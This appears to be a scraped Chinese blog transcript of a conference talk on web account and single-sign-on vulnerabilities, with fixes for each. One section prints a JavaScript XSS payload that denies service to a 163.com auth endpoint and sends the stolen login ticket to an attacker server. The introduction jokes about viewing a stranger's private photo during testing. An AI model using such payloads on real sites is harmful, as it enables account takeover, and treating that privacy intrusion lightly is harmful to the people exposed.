0x00 簡介這篇是我前幾個月在CSDN開發(fā)者大會上講的賬號通行證安全相關(guān)的PPT《我的通行你的證》的文字整理版,稍微補充了點內(nèi)容。因為懶一直沒時間寫,但年關(guān)將至,想到可以為老家的孩子們多掙點壓歲錢…… 幾個月前,我在測百度的一個賬號體系的漏洞時,無意中進入了慈云寺橋一甜品店的女收銀員的百度網(wǎng)盤,當(dāng)時隨便看了兩眼,突然發(fā)現(xiàn)了她的一張裸照,嚇的我趕緊關(guān)了頁面。當(dāng)時我就想,如果她是我最好的朋友的女朋友,她的裸照被壞人利用漏洞攻擊而泄露了,那該多不好呀 換位思考后,我閉著眼,對著裸照暗暗發(fā)誓,保護女網(wǎng)友,人人有責(zé)
此文比較長,建議各位讓女朋友不用再等了,讓她穿上褲子先睡 主流盜號的八十一種姿勢
今天不講密碼安全,今天主要講講互聯(lián)網(wǎng)上常見的一些通行證相關(guān)的“其他漏洞” 0x01 先稍微講講認證cookie的安全目前各大互聯(lián)網(wǎng)公司的網(wǎng)站大多使用cookie來實現(xiàn)對用戶的認證。如果攻擊者拿到了這個認證cookie,就可以登錄了用戶的賬號了 cookie安全注意點
比較好的cookie方案
0x02通行證的“其他漏洞”常見的通行證相關(guān)功能
0x03 二維碼登錄的安全風(fēng)險1. 無行為確認 用戶掃描二維碼后,系統(tǒng)需提示用戶檢驗二維碼的行為。若無確認,用戶掃描攻擊者的登錄二維碼后,相當(dāng)于給攻擊者的票授權(quán)
2. CSRF漏洞偽造授權(quán)請求 給票據(jù)授權(quán)的請求如果是http的,并且可以被攻擊者偽造。攻擊者可以偽造請求讓用戶掃描二維碼后執(zhí)行,或讓用戶以其他形式對攻擊者的票據(jù)進行授權(quán) 一些二維碼的授權(quán)請求按理說應(yīng)該只在app端有效,但大多案例中,此請求在web站登陸狀態(tài)下也是有效,增大了攻擊面
修復(fù)方案
0x04 綁定其他賬號的安全風(fēng)險
修復(fù)方案通用的防CSRF的解決方案,referrer+token 當(dāng)我在談csrf或jsonp劫持的時候,曾遇到無數(shù)人告訴我referrer可以偽造。我只能說目前我還不知道在瀏覽器端偽造referrer的方法。如果你可以自己寫個程序偽造referrer,那咱倆聊的不是一個事 0x05 綁定第三方oauth賬號登陸的安全風(fēng)險
關(guān)于oauth的更多安全總結(jié),可以參考文章 0x06 認證cookie的不規(guī)范傳輸安全風(fēng)險認證cookie本應(yīng)該只出現(xiàn)在http請求中,并且在瀏覽器端的存儲中加了httponly屬性,是不會被xss攻擊盜取的。但某些功能架構(gòu)中,認證cookie的不規(guī)范傳輸和使用可能會導(dǎo)致認證cookie泄露
0x07 單點登錄的安全風(fēng)險單點登陸的簡單原理需求:如果用戶已經(jīng)登陸B(tài)站,則自動登陸A站 下文中將大量出現(xiàn)如下示例站點 A: 舉例:用戶訪問 B站檢驗A站是白名單域后,然后302跳轉(zhuǎn)到
然后a.php用ticket參數(shù)去B站驗證用戶合法后,再給用戶種認證cookie 偷認證信息的大概流程如下,后面會細講??傊舻哪康木褪?,拿到用戶的ticket信息 常見的漏洞場景互聯(lián)網(wǎng)上常見的幾個單點登陸場景,通行證或第三方站給的登陸憑的證使用的方式各有不同,分別該怎么偷 場景1、直接使用票據(jù)來做驗證
服務(wù)端使用此ticket去sso驗證此用戶身份,然后在本域種認證cookie 偷的思路: 讓我們構(gòu)造的頁面獲取到憑證后請求我們控制的服務(wù)器上的資源,這樣referrer里就有ticket信息了 偷的幾種方式
示意圖如下,如下是我畫的一個chrome瀏覽器,地址欄里ticket參數(shù)會被包含到下面的一些元素的請求的referrer中 參考案例: WooYun: 微博上你點我發(fā)的鏈接我就可以登上你的微博(web版和app端均可兩個漏洞一并提交) 場景2、中間頁接收ticket完成認證,然后用js跳轉(zhuǎn)到我們的目標(biāo)頁
然后頁面會使用js跳轉(zhuǎn)到 例子:某綁定了微博賬號后可以自動登陸的網(wǎng)站 偷的幾種方式
場景3、中間頁接收ticket完成認證,然后用302跳轉(zhuǎn)到我們的目標(biāo)頁 如下的多個302跳轉(zhuǎn)
偷的方式 Xss創(chuàng)建iframe,種超長cookie,讓含ticket的302拒絕服務(wù),然后使用iframe.contentWindow.location.href讀取最后的iframe的當(dāng)前地址 拒絕服務(wù)還有個好處,防止某些ticket有防重放的防護 for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe'); iframe.src="http://bobo.163.com/checkAuth?url=http://www./&"; iframe.addEventListener('load', function(){ var ntes = iframe.contentWindow.location.href; var img1 =document.createElement('img'); img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes); for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe); 案例:網(wǎng)易用戶登陸狀態(tài)下點我的鏈接我就可進入其郵箱、云筆記等服務(wù) 如上方法不適用于IE的一些版本,因為IE在打不開頁面的時候加載的是自己本地的頁面,導(dǎo)致錯誤頁和我們的xss頁面不同源 修復(fù)方案由認證中心來跨域為子站設(shè)置認證cookie 單點自動登陸需要防護csrf,讓用戶不能偽造登陸請求 0x08 App內(nèi)嵌頁登錄的風(fēng)險當(dāng)我們在一個app內(nèi)打開其公司產(chǎn)品的一些鏈接,會被加上認證信息去讓用戶自動登陸 微博客戶端、QQ客戶端、微信客戶端都曾有或現(xiàn)在正有此問題,一般會加上參數(shù)sid、gsid、key
偷的幾種方式
修復(fù)方案不要直接把認證憑證添加到webview的URL來完成認證 使用COOKIE,POST都可以 0x09 跨域從通行證獲取到的憑證跨域從通行證獲取登陸ticket 形式為類似 然后通行證會返回個jsonp格式的數(shù)據(jù),里面包含認證信息 偷的幾種方式
修復(fù)方案架構(gòu)上就不該使用此種方案 app和web的接口不要混用,要保證接口的干凈單一。我遇到過一些案例,web和app為了互相兼容,而降低了本身的安全策略,或使用了不合理的架構(gòu) 0x0A 主流SSO的一些問題如上都是漏洞信息,但有時候還有些架構(gòu)上的小問題可能會導(dǎo)致出現(xiàn)漏洞,或者讓攻擊者的漏洞利用更方便 常見的sso的一些安全風(fēng)險如下:
案例:你windows上開著QQ點了我的鏈接我就進了你的qq郵箱財付通等(任意騰訊xss拿qq的clientkey) 這個案例里除了xss漏洞,有兩個安全設(shè)計上的問題,就是上面提到的:
0x0B 總結(jié)網(wǎng)絡(luò)是我家,安全靠大家。保護女網(wǎng)友,幫她加把鎖 |
|
來自: 創(chuàng)客迷 > 《web安全》